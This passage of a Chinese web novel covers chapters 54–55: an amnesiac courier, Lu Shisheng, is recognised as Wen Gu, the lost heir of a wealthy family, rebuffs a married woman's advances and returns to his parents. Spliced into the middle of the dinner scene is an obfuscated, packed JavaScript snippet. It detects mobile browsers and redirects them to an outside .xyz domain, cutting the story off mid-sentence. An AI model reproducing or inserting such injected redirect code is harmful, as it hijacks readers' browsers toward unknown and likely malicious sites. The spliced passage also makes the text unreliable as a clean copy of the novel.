步梨的目光在床头处顿住,那里露出照片的一角,是被遗忘在这的,她将照片从床缝里抽出来,爷孙两个人一坐一站,腰杆挺直。 陆时生看着照片里他和一位老人的合照,老人的脸在脑海中刹那闪过。 他忽的想起之前在医院里偶遇的老人,那位瞪着眼睛怒斥自己,非要塞给他一袋橘子的老人。 从前的记忆碎片毫无章法地涌现,时序混乱,拼凑不上,七零八落的画面让他头疼欲裂,陆时生努力缓了下心神,却愈发觉得胸口窒息,最终眼前一黑,径直栽到了下去。 冬夜降临,狂风呼啸。 窗外的树木光秃秃地暴露在寒夜里,枝桠干枯,似是随时都要折断。 但寒风低估了它的顽强,枯枝迎着风碰撞挣扎,发出沙沙的声响,最终也没有折断。 它在等春天。 那时候,会发出新芽的吧。 54. 回家吧 医生说陆时生是因为失血过多加上过度劳累所以才晕倒,其他并无大碍。 步梨放心下来,晚上守着陆时生输完了液,便回了家去。 外婆刚从温家回来没多久,她去了温老爷子的葬礼,此时脸上带着疲惫,静静坐在沙发上。 “香瓜啊,你温爷爷走了。”谢兰珍缓缓地开口,“我去送他时,给你打电话,你没接。” 步梨沉默着,没说话,她觉得没脸去见温爷爷。 谢兰珍叹了口气,自顾自宽慰着:“也好,也好,老爷子去见他孙子去了。” 步梨突然没来由地开口,“我找到他了。” 谢兰珍还没从悲伤的情绪里走出来,一时没能理解她的话。 步梨说完就上了楼休息,夜色凝重,寒风扫过空旷的街道,路灯掩在树影后,时明时灭。 她将窗户打开一个缝,狂风立刻呼啸着涌入,将窗台上的积雪席卷进来,积雪在银白的月色里发着光,像是细闪的钻石,步梨用手去触碰,冰凉的雪水瞬间侵染指尖。 手被冻僵前,她关了窗户,给沈思筝拨了电话过去。 “思筝,明天你去趟肿瘤医院住院部,接一下......”她抿了抿唇,缓缓说出那个名字,“温故。” ... 次日清早,步梨破天荒地没被闹钟吵醒。 她比平时早醒了一个小时,没有一丝困意,她睁着眼望向天花板,脑子里乱七八糟地,一直在想些什么。 陆时生,温故...... 她想起陆时生身手敏捷地爬上她家的阳台,想起他不费吹灰之力就能解出高数题,想起他身上的疤和留下的腿疾。 原来是他。 竟然是他。 还好,他回来了。 幸好。 ... 步梨下了床,在书柜里翻找了一会儿,从最深处拖出一个大纸箱,里面是她高中时候的书。有几本花花绿绿的包着书皮的是她偷偷藏的小说。 她有点记起来陆时生的钱包里为什么会有一张她的旧照片了。 那是她第一次参加学校韶光杯绘画大赛,她精心画了很久的作品最终只得了一个优秀奖,步梨愤愤地将那幅画做成了书皮。 后来沈思筝将那本小说借去看,没过两天,又与她说,温故觉得书皮好看,便将书拿走去看了。 她的证件照就夹在了书里,一共六张,书还回来的时候,少了一张。 步梨当时没在意,只记得那是她第一次受到认可,后来她创作了一系列同风格的插画,在江北市拿了一等奖。 很多人都与她说,她和陆时生是云泥之别,不是一个世界的人,她的朋友也会质疑她的眼光,为什么会喜欢上这样一个人。 步梨也曾不明白,为什么陆时生会让她多次情不自禁无法自已。 现在她懂了。 无关金钱,无关身份,只因为他本身就是一个非常优秀的人。 刻在基因里,难以被环境改变。 手机铃声响起,来电显示是沈思筝。 “香瓜,病房里没有人。” 步梨心头一跳,重重叹了口气。 她早该想到陆时生不会好好在病房里躺着,这人一点儿都不顾惜自己的身体。 “别急,我知道他去哪了,你来找我,我带你过去。” 她挂了电话,匆忙起来洗漱收拾,沈思筝很快赶到,神色匆忙,带着不安。 步梨上车后一路指引,最终在快递站停了车。 门口有人正在修车,他弯着腰将车轮检查了一番,朝屋里坐着的人说了句,“车扎胎了。” 屋里传来骂声。 修车的人直起身子。 沈思筝眯了眯眼,看到那人的脸,虽然额头缠了绷带,但那张脸不会有错。 她心头一震。 真的是...... 温故。 ... 今日一大早,陆时生便觉得出师不利。 车坏了,还有一堆快递要去送。 陆时生正找着修车工具,目光瞥到马路对面,一名女生似乎在朝他的方向跑过来,他四下看了下,确认女生的目标到底是谁,转过头时,身体已经紧紧被人抱住,他猝不及防,脚下没站稳,被扑过来的力量生生撞得后退了半步。 陆时生身体僵住,两手悬在空中尴尬地呆滞了会儿,在他差点被勒得窒息之时,才反应过来,急忙将人给推了出去。 抬眼时,步梨不知道何时出现在了门口。 陆时生霎时如遭雷劈,别是要误会了,他真的不知道这女生是谁。 “不是,我不知道她......” 解释的话只说了一半就被打断,面前的女生眼里充盈着怒火,又像是喜悦,热烈地盯着他,一字一顿地喊:“温小新——” 陆时生看她有点眼熟,是之前在酒吧喝得烂醉的那位。 “沈小姐?” “什么沈小姐,你不认识我了吗?”沈思筝急得眼泪要出来了,“你头是谁打的!我给你报仇去!” 陆时生心里一凉,大脑迅速开始分析。 该不会是他失忆之前的情缘......前女友? 如果是,他不能伤害人家,可他最爱的是步梨,只有她,没有别人。 他愧疚地看了眼步梨,出乎意料地,步梨并没有生气,脸上反而带着笑。 步梨走过来,轻声道:“这是沈思筝,你的表妹。” 又对沈思筝说,“好多事等我慢慢跟你说。” 陆时生一愣,心里暗暗放心下来,“表妹?那你刚刚喊我什么?” 沈思筝擦掉了眼泪,整理好情绪,“温小新啊,你的......别名。” 她目光一直没有从陆时生身上离开过,总觉得不真实,生怕这是梦,一睁眼,人就不见了。 陆时生被她看得不自在,“我记得,我给沈小姐.....沈表妹当过代驾。” “什么沈表妹,你能不能直接叫我的名字?”沈思筝语气软下来几分,“就跟之前一样。” 陆时生轻念了一遍她的名字,“沈思筝。” 沈思筝发现事情不太对,她望着陆时生,终于确定地问:“你不记得我了吗?” 陆时生点点头。 沈思筝握了握拳,试图消化这个事实。 所以很多天前,她就遇见他了,可那时她喝得烂醉,分不清梦境和现实,生生错过了相遇。 她内心里狠狠骂了自己几句,抬眼去看温故的眼睛,平静如水,毫无重逢后的喜悦。 沈思筝心里失落,陆时生察觉到了她的情绪,开口安慰了她一句,“遇到你......挺开心的。” 语气硬邦邦的,说得很勉强。 步梨拍了拍沈思筝的后背,“他会慢慢想起来的。” 沈思筝信心重燃,拉起陆时生就往外走。 “去哪?我快递还没送。”陆时生停住脚。 罗新和高佳伟两个人整齐地站在角落里,吃到了这么大的瓜,俩人半天也没敢说话,这会儿空气里安静下来,罗新很有眼力见地知道该轮到他发言了。“那个......陆哥,要不你先去?” 短短几分钟,陆时生已经从小陆成为了陆哥。高佳伟听着罗新谄媚的语气,嫌弃地看了他一眼,“那咱们现在人手也不够,车也坏了,那些快递怎么送啊?” 沈思筝想了一个办法,“要不,用那个车?” 众人顺着她指的方向看去,是一辆红色的法拉利。 罗新:“......!” 高佳伟:“......!” 陆时生:“......” 有生之年也算是开了眼了。 “也只能这样了。”步梨表示赞同。 三个人一块干活,很快将快递转移到了车里,后备箱和后座都被塞得满满的。 沈思筝把车钥匙交给了陆时生:“车是你的,你来开。” 陆时生拿钥匙的手僵了僵,“我的车?” 沈思筝理所应当道:“对啊,你之前最喜欢的车,你死了以后,我作为你最爱护的表妹,开一开也不过分吧。” 陆时生虽然听着这话有点别扭,但身体已经很诚实地坐在了驾驶座位上。 沈思筝坐在了后座,步梨便坐了副驾驶。 ...... “还能不能跟我回家了?” 沈思筝将快递箱放进快递柜里,啪地关了柜门,耐心也随之耗尽。 陆时生帮她把一个大箱子放到了最上面一排,手机叮咚响了一声,是一个取件提醒,到客户的预约时间了。 地址就在附近,陆时生道:“你们先干,我去上门拿个快递。” 宁馨花园6号楼。 寄件人是钟女士。 陆时生敲了敲门,门打开。 “是要寄件吗?” 钟女士把门打开后便转身回了屋子,示意让陆时生自己进门,“怎么这么晚才来?” 陆时生没进去,站在门口等,“车坏了,所以耽误了会儿。” 钟雪瑶回头看了他一眼,“站着干嘛?” “你的头怎么了?” 她一眼就看到陆时生头上缠了绷带。 “没事,”陆时生道,“我就不进去了,不方便。” 钟雪瑶折回来,直接帮他拿了拖鞋,“你先进来,我东西还没收好。” “那等你把东西收拾好了,我再来。” 陆时生转身要走,钟雪瑶地将他拉了回来,反手关了门,不悦地说:“你怕什么?我会吃了你?五分钟就好,何必再跑一趟。” “好吧。”陆时生走进去,坐到沙发上等。 钟雪瑶没急着收拾要寄的东西,她倒了杯水递给陆时生,“你被人欺负了?” 陆时生没答。 “当快递员挺累的吧,有没有想过换一个工作?” “没有,钟女士,您的快递收拾好了吗?” “你干嘛这么着急,我都找你拿了这么多次快递了,你还和我这么认生干嘛?” 钟雪瑶坐到陆时生的旁边,距离有些近,浓浓的香水味飘过来,陆时生闻不惯,不由得往边上挪了挪,钟雪瑶察觉,愣了愣,压下眼底的不悦,继续笑道:“不如我给你介绍个别的工作。” 陆时生站起身,“钟女士,我还有很多快递没送。” “一个月一万块。” 陆时生失了耐心,“你要是不寄件,我就走了。” 钟雪瑶见他要走,急忙将他拽住,“你干嘛这么扫兴?” 陆时生无奈,“扫什么兴?” 钟雪瑶干脆与他摊牌,“我年纪也不算大,模样也好,每个月还能给你那么多生活费,你跟我在一起,不委屈吧?” 陆时生保持着平静,“不好意思,钟女士,我对你没有那个意思,也不当第三者。” 钟雪瑶一愣,没想到陆时生会知道自己有家室的事情,她明明将烟灰缸还有阳台晾着的衣服都收起来了。 “你怎么知道的?” 她说完,看见了茶几上的刮胡刀。 钟雪瑶心里骂声一片,那臭男人又乱放东西。 她捋了捋发丝,垂着的眼皮轻轻抬起,语气轻柔,“他不会知道的,你跟我在一起,以后不用送快递,我还会帮你找一份体面的工作,你愿意吗?” “我有女朋友。”陆时生道。 钟女士笑了笑,“没关系,我不介意的,我不是也有丈夫吗?” “我介意。我先走了。” 陆时生觉得她说的每句话都很可笑,他没拿快递,也没管钟雪瑶的气愤,直接开门离开。 钟雪瑶不肯,堵着门喊道:“我要寄快递!” 陆时生无奈地说:“要寄就现在拿过来。” 钟雪瑶把箱子递给她,不舍地在他手上轻轻拂了一下,“我还去会找你的。” 陆时生件她不死心,叹了口气,“钟女士,你跟我下来一趟。” “去哪?”钟雪瑶不知他在卖什么关子,只欣然照做,批了件外套,跟着陆时生下了楼,出了楼口,陆时生指着楼前停着的一辆车。 “看到那辆车了吗?” 钟雪瑶点点头,会意道:“你是想要车?” 陆时生:“那车就是我的。” 钟雪瑶显然不信,若有所思了片刻,脸上的表情逐渐转为愤怒,“有人已经包你了?她每个月给你多少钱?” 陆时生:“......” “没人包我,我就是想和你说,我不需要谁给我钱,感情方便我也不是随便的人,我有女朋友,我们感情也很好,不会分开。” 钟雪瑶总算没再继续纠缠,陆时生正要走,迎面冲上来一个男人,他还没看清来人的长相,就重重挨了一拳。 陆时生嘴角顿时青紫了一块,耳边一声惊呼,钟雪瑶急忙过来查看他的伤势。 陆时生甩开她的手,抬眼望向那个男人。 男人还要往前冲,被钟雪瑶拦住,他怒目瞪了陆时生一眼,又对着钟雪瑶骂,“好啊!你居然背着我养小白脸,贱人!” 钟雪瑶又惊又怒,“你监视我?” “要不是如此,我还不知道你背地里竟然干出这种事情!是他勾引你,还是你主动?”男人看了眼陆时生,冷笑一声,“长得也不过如此,还是个送快递的,他有什么好?!” 陆时生抹掉嘴角的血迹,冷冽的目光望过来,“你 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他粗暴地拽起钟雪瑶的胳膊,骂了句,“丢人现眼!” 正要走,听到有人匆匆跑过来的脚步声,他以为是看热闹的,目光瞥过去正要骂,四目相对时,话全都卡在了嗓子眼。 沈思筝愣在原地,“于叔?” 她和步梨把这一片的快递处理完,给陆时生打电话一直没人接,便来这边看看情况,听到吵架声便急忙过来,没想到却碰上了熟人。 步梨见到陆时生青紫的嘴角,急忙跑过去,“他打你了?” 陆时生侧过头去,“没事。” 步梨气愤:“不行!报警!” 沈思筝拉了下步梨,见陆时生被打了,她气愤地看向雷松:“于叔,你怎么能打人呢!” 于洪没想到在这种场合下会碰到沈思筝,简直丢人丢到家了。 “你们认识?” 沈思筝冷着脸指了下陆时生,“你不认识他?” 于洪疑惑,看了会儿,表情忽然惊恐,整个人似乎裂出一道缝隙,从头到脚写着不可置信,“他他他......温?” 沈思筝点点头。 雷松熬了这么多年,好不容易熬到了中层,在温氏集团站稳了脚跟。 几年前他有幸在公司中高层聚会上见过温宋元的儿子,只是现在距离当时的见面已经时隔多年。 而且温家的少爷不是死了吗?怎么又活生生地出现在这儿来勾引他老婆?还当了快递小哥,是传闻有假,还是他现在根本就是在做梦? 于洪抽了自己两下,眼前景象毫无变化。 那个穿着破烂浑身伤的小白脸,真是温少爷? 于洪怀疑人生,可都知道沈家和温家连着亲,两家关系匪浅,沈小姐都在这儿了,那指定是没错的,豪门内部的事他无从知晓,只知道自己今天定要倒了大霉了! 于洪认命般倒吸一口冷气,咧嘴笑了两声,“沈小姐,误会,都是误会。” “误会个鬼!”步梨心疼陆时生,心里的火气还没消,气愤道,“思筝,温伯伯的公司怎么会有这样的员工?” 于洪悔死了,只是世上没后悔药,他摸爬滚打这么多年,自然知道该低头时就低头的道理,“温少爷,实在抱歉,刚才全然是我冲动,您别跟我这种人渣计较了!” 陆时生摸了摸火辣辣的嘴角。 于洪将他的动作看在眼里,心想自己这双手会不会被剁了。 “我送您去医院吧。” 陆时生道:“不需要。” 于洪心如死灰,“温少爷,您就放我一条生路吧。” 钟雪瑶再生气,也知道现在应该和雷松站在一队,她刚才一直处于震惊与茫然的状态,悄悄看了一眼陆时生,不甘心地说了句,“对不起。” 沈思筝看着她,也觉得眼熟,忽然就想起来,之前和她打过交道。 当时温礼刚去公司实习,就被这个女人骚扰,公司还谣言四起,传是温礼主动勾引有夫之妇,温礼性子软,自己摆不平,又不敢向家人说,便找了沈思筝帮忙。 沈思筝觉得可笑,看着钟雪瑶冷笑了一声,“你倒是死性不改。” 钟雪瑶认出了沈思筝,她知道沈思筝的厉害,当时她被迫换了工作,现在不能再在她身上栽跟头,索性服软,转身走了,留雷松在这处理烂摊子。 于洪气急败坏,也只能忍着,说些好听的话,“沈小姐,大家都是熟人,而且我在公司兢兢业业这么多年,没有功劳也有苦劳吧,只要您不计较,我怎样都行。” 步梨怒声道:“兢兢业业这么多年,就能随便打人?” “我也是因为误会一时冲动,实在是抱歉。” 于洪只能连连陪着笑,暗道自己倒霉,本想教训教训第三者,谁承想一个快递员会是董事长的儿子。 陆时生偏头,见步梨比他还气愤,像只炸毛的小猫一样。 心里忽然一暖,他抬手轻轻拍了拍她的背,好帮她顺顺气。 他有些累了,本也不想与这种人牵扯太多,斤斤计较只会浪费更多时间。 “有车吗?”他开口问。 “啊?有有!”于洪虽然没理解陆时生这个问题的用意,但很快领会到,这似乎是个台阶,他问什么他答什么就是,他指了指路边停车位的一辆黑车,“就在那儿。” 陆时生:“会不会送快递?” 于洪顿悟,连连点头,“会会会!我什么都会!我去送!我去送!” 陆时生点点头,又严谨地问了句,“无薪,义务劳动接受吗?” “当然!” 于洪到底有眼力见儿,行动力强,说完立马去开车拉快递。 “可真有你的。”沈思筝笑出声。 步梨拿纸巾轻轻擦了擦陆时生的嘴角,担心地问道:“疼吗?” 陆时生握着她的手,柔声道:“没什么感觉。” 他看向沈思筝,迟疑地开口,“沈小姐......” 说完又改了下说法,“沈表妹。” 觉得还是不合适,干脆开口问,“我应该喊你什么?” 沈思筝叹了口气:“随便都行,只要不是沈小姐,和沈表妹。” 听着别扭死了。 她心里有点复杂,总感觉温故性情大变,想来是失忆的缘故,也不知道他这几年都经历了些什么。 陆时生问:“那我之前都喊你什么?” 沈思筝故作轻松:“也不太固定,有时候喊我的大名,心情好的时候还会喊我宝贝呢。” 陆时生眉头跳了跳,不信这是他能喊出来的称呼。 “知道了,”他干脆不带称呼,直接道,“送我回家吧。” 55. 回家了 车上的快递都被搬走,空间被腾出来,显得宽敞多了。 这次换沈思筝开车,她上车前突然站住脚步,皱着眉头将温故打量了一遍,一身破旧的快递员工作服,头上还缠着绷带,这副惨兮兮的模样,她小姨小姨夫看了不得以为来了个要饭。 “你就穿这个?”她眉头紧紧皱起。 “挺暖和的。”陆时生为难道,“恐怕另一件更不合适,染了血。” 步梨道:“那要不去买件新的?” 陆时生下意识拒绝:“不用,我住的地方还有。” 步梨想到陆时生之前一年也不买一件新衣服。 他一大早从医院里跑出来送快递,估计也是嫌VIP病房的住院费太贵。 想他前二十年还是温故时,挥金如土,哪里会在乎这些? 如今当惯了陆时生,恐怕一时半会儿难以适应新的身份。 沈思筝摆摆手,打算不拘小节。 她可怜的表哥这么多年没回家,让小姨小姨夫心疼一下也好。 “算了,反正你的衣帽间里衣服全都塞满了,几百件衣服小姨一件都没扔。” 陆时生觉得他这个表妹说话挺夸张的。 ... 步梨并不打算参加大型认亲现场,中途路过她家,便下了车。 车里剩下两个人,空气突然安静。 沈思筝通过后视镜,悄悄看了一眼温故。 除了瘦了点,没什么变化。 一时心里百感交集。 她就知道,那个能上天入地的温故不会轻易地死。她梦到过的。 曾经无数次她都梦到过,温故还活着。 “我知道你会回来的。”沈思筝自顾自地开口,“我在祈福庙的神树下许过愿的。” 或许是血缘的神奇,短短半天的相处,陆时生对沈思筝这个表妹已经产生了亲切的感觉,他试着和她聊聊天,“很灵吗?” “挺灵的,尤其是桃花方面。”沈思筝朝他笑了下。 陆时生垂着眼眸,若有所思。 “我知道你在想什么,你肯定是想和步梨一块去。” 沈思筝已经接受了一日之间闺蜜变嫂子的事实。 ... 月亮湾别墅区17号,温家。 陆时生在门口站了会儿,抬手轻按了下门铃。 里面传来开门的声音,“咔嚓”一声,门被打开。 陆时生握了握拳,抬眼见开门的是一位中年妇女,眼角有很明显的皱纹,神情略显疲惫,这就是他母亲? 他张了张口,不知道该怎么称呼。 “快递?”中年妇女开口问,还没等陆时生说话,她转过身,朝着屋子里喊了句,“太太,是您的快递吗?” 屋里传来一道柔和的女声,“我没买东西啊,老温,你买了?” “我也没买。”一道温厚的男声响起。 “是不是送错了?”中年妇女问。 陆时生解释道:“哦,我不是送快递的,我来找......” 他在想着措辞,是该称呼温太太温先生,还是直接叫爸妈。 一阵玻璃碎裂的声音从屋里子传来,陆时生闻声往过去,一位打扮精致的女士正呆呆望着他,眼里充满了不可置信。 给她开门的中年妇女见状急忙小步跑了过去,收拾地上的玻璃碎片。 “太太!您没事吧?” 没得到回应,中年妇女匆匆把地上的碎片捡起来,起身时见到太太正直勾勾望着门口的方向,她不明所以地站定,问了句,“太太,怎么了?” 叶澜少有地失了平时的稳重,失神地走到门口。 “小新?” 她抬手去抚摸陆时生的脸,那种真实的触感顺着指尖传来,她像是触电一般,轻轻颤了一下,不敢相信眼前的景象。 “真的是你?” 陆时生望着眼前的人,心里确认这应该是他母亲。 她打扮得很得体,头发整齐地梳在脑后,身上批了件驼色的针织披肩,华贵又低调。 他张了张口,路上本想好了说辞,现在却大脑一片空白。 “小新,这么多年你去哪了!我和你爸都以为你已经......”叶澜抹了把眼泪,把陆时生拉进屋里,“张姨,去切水果,多切点香瓜,小新最爱吃了。” 张姨愣了愣,急忙按照吩咐去了厨房。 陆时生被拉进客厅,刚坐到沙发上,又见到一位中年男人。 他感受到男人身上严肃的气质,下意识站了起来,与他对视一眼,便移开了目光,看向别处。 他之前已料想到家人见到他时的震惊,但他心里没有和他们一样有太多波澜。他记不起来,只是看着他的父母,会有一种前所未有的熟悉感。 这种感觉很奇怪,说熟悉,却又带了点陌生,让他有些郁闷,不知该如何应对,只干站着。 温宋元也站着,看了他好久,他眼底翻涌着激动与不可置信,只是不像叶澜那般明显,很快被他压抑下去。 张姨送来了水果,叶澜也擦干了眼泪,好让自己不会太过失态,她走过来见父子两人隔着几步站着,不禁笑着叹道:“站着干嘛,快坐下。” 她拉着陆时生的手让他坐,给他递过去一块切好的香瓜,陆时生接过来,迟疑了下,放进嘴里慢慢?嚼着。 叶澜看着他的脸,刚擦干净的眼泪在这一刻又不受控制地涌了出来。 她觉得有些不对劲儿,靠近了些,很温柔地问:“小新,你......你怎么了?” “抱歉,”陆时生垂下眼,“我不太记得。” 叶澜一愣,抬头看向温宋元。 “不记得?是什么意思?” “就是,我失忆了。” 屋子里一阵沉默。 叶澜一时不知该说什么,她打量着自己的儿子,他脸上头上都是伤,身上穿了件快递员的衣服,脏兮兮的,布满污渍。 刚才他接水果的时候,手上也有很多细小的伤口,叶澜心疼地要死,想问问他到底发生了什么,可从一进门,他就是一副陌生疏离的态度。 门口传来开门的声音。 “小姨小姨夫,我进来了啊。” 沈思筝手脚麻利地换了鞋,在外面等了会儿才进来。 她最见不得认亲时的落泪现场,虽然刚才她自己也偷偷抹了好几次眼泪。 “思筝,你.......”叶澜惊讶。 沈思筝笑着走过来,觉得客厅安静得有点窒息。 “小姨小姨夫,我知道你们有很多想问的,反正现在表哥都回来了,你们也别着急,以后慢慢问。” 叶澜点点头,“你说的是。” 她对张姨说,“张姨,麻烦你去找一套新衣服,再把医药箱拿来。” 温家的屋子很大,但却很暖和,只穿一件薄薄的外衣也不会冷,陆时生把工作服脱了,换上了干净的衣服。 张姨把他换下来的工作服挎在手臂上问了句,“温少爷,这衣服还要吗?” 陆时生点点头,“要。” 张姨有点迟疑地看了眼叶澜。 陆时生领会了她的意思,这脏兮兮的衣服在这个家里确实显得格格不入。 “洗一下就好了,哪里可以洗衣服?” 张姨道:“洗衣机在那边。” 陆时生点点头,抬脚要去,张姨急忙将他拦住,“少爷,我帮你洗就好了。” “不用。” 陆时生不习惯有人伺候。 张姨惶恐地退了两步,“少爷,您还是休息一下吧。” 这时沈思筝喊了句,“温小新,你过来一下呗。” 陆时生一时没反应过来时在叫他。 沈思筝只得叫道:“陆时生——” 陆时生转身望过去。 “陆时生?” 叶澜惊讶地张了张口,不明所以地重复了便这三个字。 “我的名字。” “我也不知道之前都发生了什么,反正我七年前醒来的时候,是在花沟县的医院,我父亲......我当时的父亲叫陆望潮,他告诉我,我是他的儿子,叫陆时生,这些年,我都与他一块在花溪镇生活。” 陆时生简单解释了一下。 简短的几句话,他说得很平淡,没带什么情绪,叶澜和温宋元却听得怔愣,不敢去想这简短的描述背后泛着多少酸涩与苦楚。 陆时生察觉到他们的表情,想来自己大概是被当成了一个沦落在外的流浪儿,他做出一副轻松的模样,安慰道:“我过得挺好的。” 这么多年他在花溪镇过得挺好,有固定的营生去做,每天忙碌,但很充实,还有一些不错的朋友邻里。重要的是,他还在那里认识了步梨。 叶澜和温宋元点了点头,眉宇间却难掩难过。 陆时生也没再说什么,他也知道,他们失落是因为能看到他的落差。他之前大概是过着锦衣玉食的生活,因为突发的事故,从云端接落到烂泥之中。 但他真心觉得没那么糟糕,只感觉日子在一天天变好,每一步都在向上,步步高升,离阳光越来越近。 沈思筝刚才去温故的房间拿了本相册下来,她想着或许可以帮温故想起点什么来。 “这是你考上江北大学的那天,还嘚瑟地给我炫耀这件文化衫,想不到吧,后来我也考上了江大。” “这是在神树庙,我拉着你进去你偏不,还说不能迷信。” “这是在海边,你穿了件特别骚气的花衬衫,一堆小姑娘过来搭讪。” “有没有印象?”沈思筝期待得到点反馈。 陆时生摇了摇头。 相册里每张照片确实都是他的脸,可那些场景都很陌生。 沈思筝没泄气,继续往后翻。“这个这个,姥爷还在的时候,他过七十大寿,咱们全家人的大合影。” 陆时生将叶澜难过的表情尽收眼底,便点了下头,“好像有点印象,却又想不起来。” 就这么一句话,叶澜激动得眼泪都要出来了,“有印象就好,以后可以慢慢想。” 陆时生点点头。 叶澜也参与进来,脸上带着柔和地笑,“这张,你选上了特种兵,爸妈都为你骄傲。” “这个是你参军后的队友,叫周平。”沈思筝继续说。 陆时生目光一顿,“周平?” 沈思筝见他有反应,欣喜地问:“你认识他?” “我一直以为我叫周平,还曾去过周平的老家找亲人。” 陆时生掏出那张信息不全的身份证,现在才知道这是误会,原来这是他的战友,“那周平在哪?” “他不在了。”叶澜叹了口气,“当年你们是一起出的任务,都没回来。” “对了,周平的父亲在织北街开了家早餐店,从前你和周平经常在一块,有空了你可以去那里看看他父亲。” 陆时生点了点头。 一本相册翻下来,陆时生也没想起什么。 快到了午饭时间,叶澜让张姨去准备午饭。 沈思筝也留下来一块。从前她也常来小姨家吃,但后来温礼来了这个家,有了其他人陪伴,她便很少再来了。 餐桌旁的柜子上摆着一张全家福,照片里的三个人是温宋元,叶澜,还有温礼。 陆时生在照片前驻足了一会儿,想起赖依依带去的那个小男友,他当时就已经听说了这件事,温家独子温故去世后,被领养回来的温礼。 外界有传言温礼其实是温宋元在外面的私生子,现在终于寻到了理由领到家里来。陆时生看着照片里一家三口其乐融融,自己却像个局外人。 到现在他依然会觉得不真切,他真的是温故吗? “这照片.....”叶澜走过来,声音里带了些愧疚,“小新,这是你弟弟,他今天住在朋友家,明天你就能见到他了。” 陆时生声音温和:“嗯,我已经见过他了。” “是吗?”叶澜见他心情平静,送了口气,“过两天我们一起再去拍一张全的,把这张照片换一下。” “没事。”陆时生转身离开。 张姨按照叶澜的吩咐,烧了好几样温故最喜欢的菜,吃饭时,叶澜一直往他碗里夹菜,陆时生不紧不慢地吃着,没什么反应。 叶澜有些失落。 沈思筝也试着给他夹,陆时生一并接受,并没有表现出哪道菜很喜欢或者很讨厌的样子,直到沈思筝第三次给他夹了胡萝卜,陆时生皱着眉头开了口。 “不用给我夹了。” 沈思筝反倒有点开心,“不喜欢?” 陆时生想了想,干脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663194|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直言道:“不太喜欢炒胡萝卜,不过也能吃。” 沈思筝咯咯笑了起来,叶澜也松了口气,对着温宋元开心地笑了笑。 陆时生不明所以,“怎么了?” 沈思筝笑着道:“看来你的口味没变,还是和以前一样,最不爱吃炒胡萝卜了。” 陆时生抿了抿唇没说话。 餐桌上的氛围变得轻松起来,叶澜开始试着跟他聊些平常的事。 “小新啊,你在花溪镇有没有认识什么新朋友?” “嗯,有。” “是吗?那有没有交女朋友?” 陆时生抿了抿唇,神情有些局促,叶澜觉得自己大概问得太多了,便随意找了件八卦补了一句,“从前追你追到家里来的那个赵家的小姑娘,去年都结婚了。对了,思筝,你的好闺蜜是不是还单身啊?” 沈思筝都有些震惊,话题居然这么快直接到了这里,她故意装糊涂道:“哪个好闺蜜?” 叶澜笑笑,“就是步家的姑娘啊,你俩不是关系最好了吗。” 沈思筝做出一副不解的表情,“小姨,你怎么突然想起步梨来了啊?” 叶澜道:“他爷爷在的时候,步梨姑娘还去看望过好几次呢,我一看她就觉得喜欢。” 沈思筝看了眼陆时生的表情,他垂着眼吃饭,脸上竟然看不出一点惊讶的痕迹,不愧是她表哥,果然和以前一样,还是很会装。 既然如此,沈思筝便也开始兜圈子,笑呵呵地说道:“小姨,小新哥在花溪镇也找了对象的。” “什么?!小新,你结婚了吗?”叶澜震惊,仔细想想却也觉得这是正常的事。 她儿子的年龄也到了,而且村子里的年轻姑娘和小伙都结婚早,只可惜这些年她没有参与到他的生活里,留下了很多遗憾。 她心有不甘,想着找个时间补办一场婚礼。 几秒钟的时间,她已经把筹划婚礼的各种事项在脑子里过了一遍。 陆时生太阳穴突突跳了两下,淡淡说道:“还没结婚。” “怎么还没结婚?” 叶澜原本觉得遗憾,现在听说儿子还没结婚,又感觉不可思议,她儿子岁数都这么大了,都没能找着个姑娘结婚成家吗? 难道是日子过得特别苦,没钱买房子备彩礼,成了大龄剩男? “小姨,她不是花溪镇本地的,是外地人。”沈思筝说完,悄悄将脸转向陆时生,看着他挑了挑眉。 陆时生和她对视一眼,无奈地抬起头,笑着对叶澜和温宋元道:“改天我带她来见你们。” 他有点想步梨了,吃过饭,便给她发消息过去。 今天周末,步梨不用上班,下午应该有空吧,他盯着手机屏幕发愣,也不知道说什么,便只发了个表情过去,没多久,手机跳出来一条消息。 “怎么样?温小新。” 是步梨发来的,她也学着沈思筝的口吻叫他温小新。 温故而知新,所以他从前的小名叫小新。陆时生嫌弃地叹了口气。 “感觉不太真实。” “慢慢来,适应了就好了。”步梨对此有同感,只不过她觉得陆时生的感觉肯定要比她更加浓烈一点。 陆时生想了一会儿,郑重地打了几个字。 “步梨,我们约会吧。” 自从来到江北,他们还没好好约过会。 陆时生忽然有些紧张。 沈思筝好奇地凑过来,想看他的手机屏幕,被陆时生敏捷地划走了。“小气,不看我也知道你在给谁发消息。” 陆时生不在意她看没看,淡淡地问:“祈福庙在哪?” “你要和步梨去祈福庙?” 沈思筝对他的行动力感到惊叹,上午刚说完,吃过饭就要去,这是多着急想去祈福求爱啊。 不过既然她表哥想要追求她的好闺蜜,沈思筝自然要大力支持,还决定将车归还给他,又帮着他选衣服。 她搞得动静很大,叶澜都听说了陆时生要去约会的事,迅速参与到帮忙选衣服的队伍中来。 到了衣帽间,陆时生才知道之前沈思筝说他有几百件衣服真的不算夸张,这衣帽间比他从前住的整个房子都大,里面全是他一个人的衣服配饰。 陆时生无法相信这些衣服都是他自己买的,但仔细看看,每件衣服好像都挺符合他的品味,从这里面选出来一套衣服也挺难的。 最令人头疼的事是沈思筝和叶澜意见不合,两人连番让他试了好几身衣服,各有各的不满意。 陆时生累了,自己挑了件黑色衬衫和深灰色的大衣,穿上后打死也不换了。 叶澜觉得不正式,拿了套西装在陆时生身上笔画,“再打个领带吧,正式一点,你可是去约会啊。” 步梨拿了件卫衣,“我觉得还是这套好,步梨喜欢有少年感的男人。” “随意一点就行。” 陆时生在镜子前照了照,满意地走出衣帽间。 沈思筝对叶澜暗暗嘀咕了句,“我觉得他一点也不随意。” 像开屏的花孔雀。 叶澜深深点头。 